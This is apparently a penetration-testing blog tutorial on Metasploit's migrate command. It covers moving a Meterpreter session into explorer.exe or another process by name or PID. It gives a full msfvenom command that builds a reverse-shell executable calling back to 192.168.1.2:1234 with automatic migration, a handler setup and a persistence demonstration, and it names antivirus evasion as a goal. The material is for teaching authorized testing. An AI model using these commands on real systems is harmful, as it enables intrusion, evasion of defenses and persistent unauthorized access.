Subscribe to Blog via Email

Categories

Archives

Penetration Testing

Metasploit for Pentester: Migrate

In the continuation in this series of articles dedicated to the Metasploit Framework to provide an appropriate resource for Penetration Testers so that they can use the variety of the features present in the Metasploit Framework to the maximum extent. In this article, we will be talking about the migrate command and its functionalities.

Table of Content

  • Introduction
  • Migration with Process Name
  • Migration with Process ID
  • Generating Prepend Migrate Payload
  • Persistence with Prepend Migrate
  • Conclusion

Introduction

Before jumping right into the migrate command and its options, it should be stated that migrate is a post-exploitation module and it can be used only after successful exploitation of a machine. In the demonstration provided, we have exploited a Windows Machine and will be using the migrate command on the processes running on that machine. When we have successfully exploited a machine and have achieved a Meterpreter session on it, we can use the Migrate command to transfer the process on which the exploit is running on a different process. The reason for migrating from one process to another can be stated below.

  1. Stability: Exploits and Payloads that are providing the session tend to be unstable as compared to the basic process that has been developed for the target and is running on the target. Hence, migrating to those processes can serve to provide a more stable connection.
  2. Cloaking: Antivirus Software or any other Defensive Software tends to scan and look for malicious files that might be running on the machine. Hence, Cloaking or Hiding our malicious process will avoid detection.
  3. Compatibility: It is possible that while exploiting a machine that the payload you used might be designed for the 64-bit Architecture but the session that you have received is an Operating System running an 86-bit Architecture. Migrate can be used to shift the process to the native process and provide compatibility to the session.

Now that we have a basic understanding of the migrate command and the locations or situations where migration can be used. To understand the various options that can be used with the migrate command, we can run migrate with the -h option and we will have the help section as shown in the image. We can see that we have the choice to provide the PID of the process that we want to migrate, -P option to provide the target PID, -N to provide the Name of the process, and -t to provide the timeout.

migrate -h

Migration with Process Name

We will begin with the Migration based on the Name of the process. Migrate is usually used in the collaboration with the Process ID but as we were able to deduce from the Help section that an option is available that can help us with the migration using the name of the process. To demonstrate we will migrate the payload that we used to get the session on the target machine into the Explorer.exe process. We can see that the payload raj.exe is running on the machine with the Process ID of 7088. Keep this in mind as when we migrate it, it can be verified based on this PID.

We know that Explorer Process is the process that is running on Windows-based machines and it is responsible for the Display Management and the Taskbar and Start Menu as well. This means that this process will be running until the machine is turned off. This makes this process an ideal candidate for migrating the payload. We run the migrate command with the -N option followed by the process name and we can see the image below that the payload process raj.exe with PID 7088 was migrated to the Explorer Process with PID 5200.

migrate -N explorer.exe

To perform a little check on our payload process we again run the ps command with grep to look for a process with the name raj.exe but as we can see that the process was not found because it was migrated to the Explorer process.

ps | grep raj.exe

Migration with Process ID

Moving onto the demonstration of the method that most of the Penetration Testes are familiar with. As they have used the migrate in to perform the migration of a process using the PID. To demonstrate, we will take the notepad process running on the target machine with the PID 3556. This is just a random example, the method can be applied to any of the processes or even the payload process as shown earlier.

Now, again we can check the process that we are targeting with the help of the ps command. This process can be streamlined with the help of grep as it will show the process of interest. We see that we have the process with the PID 3556. We will use the migrate command and followed by the process ID of the targeted process. And we can see that the process was successfully migrated.

ps | grep notepad
migrate 3556

Generating Prepend Migrate Payload

Earlier we talked about how the Explorer process is the ideal process for migrating the payload process. We can arrange this while creating the payload itself with the help of msfvenom. This will create the payload of your choice with the prependmigrate option. From the image and the command provided below, we can see that we are creating a payload targeting the Windows machine and generating a reverse shell back to the IP Address 192.168.1.2 and port 1234. But we also provide that the malicious process should migrate to the Explorer process. At last, we are stating that this payload should be generated into an executable file for the target to run.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=1234 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > shell.exe

Persistence with Prepend Migrate

Finally, we are going to migrate the malicious process to a safe already running process, and then we will try to kill the process to see if it is possible to create a Persistence with this type of migration. This will help us with the life of the session that we have generated. Suppose that target, can be the user or any protection software suspects that there is a malicious process present on the machine, it can try to terminate the particular process. However, if we can migrate the process, it can retain the session and give us the access that we require. We use the payload we generated using MSFVenom in the previous stage and use it to get a session on the target machine. We will require a listener to capture the reverse shell that will be generated by the execution of the payload on the target machine. We set all the parameters that we set while creating the payload and as soon as we get a session on the machine, we can see that the shell process was created with the PID 8064.  We try to kill the process and we can see that even after the targeted process was killed the session remains active and we have a persistence meterpreter on the target machine.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.2
set lport 1234
set prependmigrateprocess explorer.exe
set prependmigrate true
exploit
ps | grep shell.exe
kill 8064
sysinfo

Conclusion

To conclude, we would like to point out that Metasploit is full of various small utilities that any Penetration Tester could use during their assessment. However, the depth of the different tasks that these utilities can perform is much more than what we use them for. Hence, we wrote this article to introduce the workings of the migrate command from the Metasploit Framework.

Author: Pavandeep Singh is a Technical Writer, Researcher, and Penetration Tester. Can be Contacted on Twitter and LinkedIn

Leave a Reply

Your email address will not be published. Required fields are marked *